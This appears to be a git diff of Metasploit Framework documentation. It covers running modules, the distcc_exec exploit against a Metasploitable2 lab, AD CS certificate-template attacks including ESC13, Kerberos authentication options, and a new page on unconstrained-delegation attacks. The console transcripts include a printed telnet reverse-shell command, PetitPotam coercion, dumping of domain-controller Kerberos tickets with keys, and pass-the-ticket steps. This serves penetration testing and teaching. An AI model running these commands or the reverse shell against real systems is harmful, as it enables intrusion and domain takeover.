[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
New in Metasploit 6 there is added support for running modules with options set as part of the run command. For instance, setting
both `RHOSTS` and enabling `HttpTrace` functionality:
```msf
msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true
####################
# Request:
####################
GET / HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
####################
# Response:
####################
HTTP/1.1 301 Moved Permanently
Location: http://www.google.com/
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 219
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/title) >
```
### Running exploit modules
Exploit modules require a vulnerable target. It is recommended to set up your own local test environment to run modules against.
For instance in a Virtual Machine, or with Docker. There are multiple pre-built vulnerable test environments including:
- [Metasploitable2](https://docs.rapid7.com/metasploit/metasploitable-2/)
- [Metasploitable3](https://github.com/rapid7/metasploitable3)
For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module:
```msf
msf6 > use unix/misc/distcc_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) >
```
Exploit modules will generally at a minimum require the following options to be set:
- `RHOST` - The remote target host address
- `LHOST` - The listen address. **Important** This may need to be set to your `tun0` IP address or similar, if you are connecting to your target over a VPN
- `PAYLOAD` - The code to be executed after an exploit is successful. For instance creating a user, or a Metasploit session. Often this can be left as the default value, but may sometimes require configuration
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(unix/misc/distcc_exec) >
```
For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`):
```msf
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
rhost => 192.168.123.133
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```
The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action:
```msf
msf6 exploit(unix/misc/distcc_exec) > run
[+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BmpMGFX6NDVlh5h0;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "BmpMGFX6NDVlh5h0\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.123.1:4444 -> 192.168.123.133:48578) at 2023-09-21 14:42:42 +0100
whoami
daemon
```
New in Metasploit 6 there is added support for running modules with options set as part of the run command:
```msf
msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
[+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo QqL1Uzom6eBFilyL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "QqL1Uzom6eBFilyL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.133:52314) at 2023-09-21 13:52:40 +0100
whoami
daemon
```
@@ -41,3 +41,18 @@ These are just suggestions, but it'd be nice if the KB had these sections:
- **Verification Steps** - Tells users how to use the module and what the expected results are from running the module.
- **Options** - Provides descriptions of all the options that can be run with the module. Additionally, clearly identify the options that are required.
- **Scenarios** - Provides sample usage and describes caveats that the user may need to be aware of when running the module.
### Before you submit your PR: msftidy_docs.rb
A documentation file can be passed as a positional argument to `metasploit-framework/tools/dev/msftidy_docs.rb` and will
highlight formatting errors the docs file might contain. Once all the errors and warnings thrown by `msftidy_docs.rb` have
been resolved, the documentation file is ready for submission.
```
➜ metasploit-framework git:(upstream-master) ✗ ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/panos_op_cmd_exec.md
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [INFO] Missing Section: ## Options
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] Please add a newline at the end of the file
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] H2 headings in incorrect order. Should be: Vulnerable Application, Verification Steps/Module usage, Options, Scenarios
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:50 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:53 - [WARNING] Spaces at EOL
```
@@ -5,18 +5,39 @@ for testing purposes.
# Introduction to AD CS Vulnerabilities
```mermaid
flowchart TD
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
ESC4(ESC4)
update_template[<i>Update Template</i>]
ESC4 --> update_template
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
ESC3(ESC3)
ESC13(ESC13)
alt_subject[<i>Alternate Subject Issuance</i>]
as_eagent[<i>Enrollment Agent Issuance</i>]
normal[<i>Normal Issuance</i>]
ESC1 --> alt_subject
ESC2 --> as_eagent
ESC3 --> as_eagent
ESC13 --> normal
as_eagent -- use new certificate --> normal
end
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
PKINIT[<i>PKINIT</i>]
end
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
end
alt_subject --> PKINIT
find_vulnerable_templates --> icpr_cert
normal --> PKINIT
update_template --> ESC1
```
The chart above showcases how one can go about attacking four common AD CS
The chart above showcases how one can go about attacking five unique AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
@@ -30,8 +51,7 @@ administrator via Kerberos.
Each certificate template vulnerability that will be discussed here has a ESC code, such
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
SpecterOps published which popularized these certificate template attacks, known as
[Certified
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
attacks that they found they could conduct via misconfigured certificate templates:
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
- ESC7 - Vulnerable Certificate Authority Access Control
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
Later, another
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
could allow normal domain joined users to abuse certificate template misconfigurations to
gain domain administrator privileges.
Later, additional techniques were disclosed by security researchers:
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
`CertificateMappingMethods` contains `UPN` flag.
- ESC10 - Weak Certificate Mappings -
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
key.
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
- ESC13 - Domain escalation via issuance policies with group links.
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
Finally, we have ESC11, which was discovered by Compass Security and described in their
[blog
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
this page only covers exploiting ESC1 to ESC4 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
which users or groups can use that certificate template to elevate their privileges.
At this time, the module is capable of identifying techniques ESC1 through ESC3.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
analyzing the objects in LDAP.
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[*] Template: ESC13-Test
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
[*] Vulnerable to: ESC13
[*] Notes: ESC13 groups: ESC13-Group
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * collalabs1-SRV-ADDS01-CA
[*] Server: SRV-ADDS01.collalabs1.local
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
```
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
CERT_TEMPLATE => ESC13-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
RID present in the Groups field of the TGT PAC.
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -2,7 +2,7 @@
Since version 6.3, Metasploit has included authentication via Kerberos for multiple types of modules. Kerberos
authentication allows Metasploit users to request and utilize Ticket Granting Tickets (TGTs) and Ticket Granting
Services (TGSs) to authenticate with supported modules. Metasploit uses an internal caching and storage machanism but
Services (TGSs) to authenticate with supported modules. Metasploit uses an internal caching and storage mechanism but
tickets are stored able to be both exported and imported from [MIT Credential Cache][1] (CCACHE) files. A converter for
Kirbi to and from CCACHE files is also available in the `auxiliary/admin/kerberos/ticket_converter` module.
@@ -130,11 +130,13 @@ Required options:
* `${Prefix}::Rhostname` -- The hostname of the target system. This value should be either the hostname `WIN-MIJZ318SQH` or
the FQDN like `WIN-MIJZ318SQH.msflab.local`. i.e. `Smb::Rhostname=WIN-MIJZ318SQH.msflab.local`
* `${Prefix}Domain` -- The domain name of the target system, e.g. `msflab.local`. i.e. `SmbDomain=msflab.local`
* `DomainControllerRhost` -- The IP address of the domain controller to use for kerberos authentication. i.e. `DomainControllerRhost=192.168.123.13`
Optional options:
* `DomainControllerRhost` -- The IP address or hostname of the domain controller to use for Kerberos authentication.
i.e. `DomainControllerRhost=192.168.123.13`. If this value is not specified, Metasploit will look it up via the
realm's (the `${Prefix}Domain` option) SRV record in DNS.
* `${Prefix}::Krb5Ccname` -- The path to a CCACHE file to use for authentication. This is comparable to setting the
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`
`KRB5CCNAME` environment variable for other tools. If specified, the tickets it contains will be used. i.e. `KRB5CCNAME=/path/to/Administrator.ccache`.
* `KrbCacheMode` -- The cache storage mode to use, one of the following four options:
* `none` -- No cache storage is used, new tickets are requested and no tickets are stored.
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
@@ -268,7 +270,7 @@ Simultaneous Users: 16777216
## Using external tickets with Metasploit
A ticket obtained outside of Metasploit can be used for authentication by setting the `${Prefix}::Krb5Ccname` option
which is prioritized over the cache. This file must be in the [MIT Credential Cache][1] (CCACHE) file formath. If the
which is prioritized over the cache. This file must be in the [MIT Credential Cache][1] (CCACHE) file format. If the
ticket is in the Kirbi format, it must first be converted using the `auxiliary/admin/kerberos/ticket_converter` module.
When an explicit CCACHE file is specified to load a ticket from, Metasploit will first attempt to load a TGS ticket
@@ -0,0 +1,226 @@
# Unconstrained Delegation Exploitation
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
the attacker can leverage it to compromise the Active Directory domain.
## Lab setup
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
been configured for unconstrained delegation.
On the domain controller:
1. Open "Active Directory Users and Computers"
2. Navigate to the computer account, right click and select "Properties"
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
On the target computer:
1. Force an update of group policy by running `gpupdate /force`
2. Reboot the computer
## Attack Workflow
This attack assumes that the attacker has:
1. The IP address of the domain controller.
2. The active directory domain name.
3. A compromised domain account (no special privileges are necessary).
4. The ability to fully compromise a target system through some means.
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
Verify this using the `db_status` command.
At a high-level the summary to leverage this attack chain is:
1. Identify a target computer account configured with unconstrained delegation.
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
3. Coerce authentication to the compromised target from a domain controller.
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
### Target Identification
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
and should be ignored as targets.
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
```
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
ACTION => ENUM_UNCONSTRAINED_DELEGATION
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=WS01 CN=Computers DC=msflab DC=local
=======================================
Name Attributes
---- ----------
cn WS01
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname WS01$
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
cn DC
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname DC$
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
domain controllers to remove from the list of potential targets.
```
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
ACTION => ENUM_DOMAIN_CONTROLLERS
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
dnshostname DC.msflab.local
name DC
operatingsystem Windows Server 2019 Standard
operatingsystemversion 10.0 (17763)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
### Exploitation
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
compromised domain account.
```
msf6 > use auxiliary/scanner/dcerpc/petitpotam
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
LISTENER => ws01.msflab.local
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >
```
If the module does not indicate that the attack was successful, another tool like
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
computer account.
```
msf6 > use post/windows/manage/kerberos_tickets
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
SESSION => -1
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
SERVICE => krbtgt/*
msf6 post(windows/manage/kerberos_tickets) > run
[*] LSA Handle: 0x000001efe1c415a0
[*] LogonSession LUID: 0x00004bc1d
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x00001052b
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
... omitted for brevity ...
```
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
```
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
-- ---- --------- ----- ------ ------ ----
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
msf6 post(windows/manage/kerberos_tickets) >
```
### Using The Ticket
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
controller.
+12 -1
View File
@@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
},
{
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
title: 'RBCD - Resource-based constrained delegation'
title: 'Resource-based constrained delegation (RBCD)'
},
{
path: 'kerberos/unconstrained_delegation.md',
title: 'Unconstrained delegation'
}
]
},
@@ -272,6 +276,10 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-msfvenom.md',
nav_order: 7
},
{
path: 'Managing-Sessions.md',
nav_order: 8
}
]
},
@@ -547,6 +555,9 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-check-Microsoft-patch-levels-for-your-exploit.md'
},
{
path: "How-to-write-a-cmd-injection-module.md"
}
]
},
{
@@ -21,7 +21,7 @@ Shell #1:
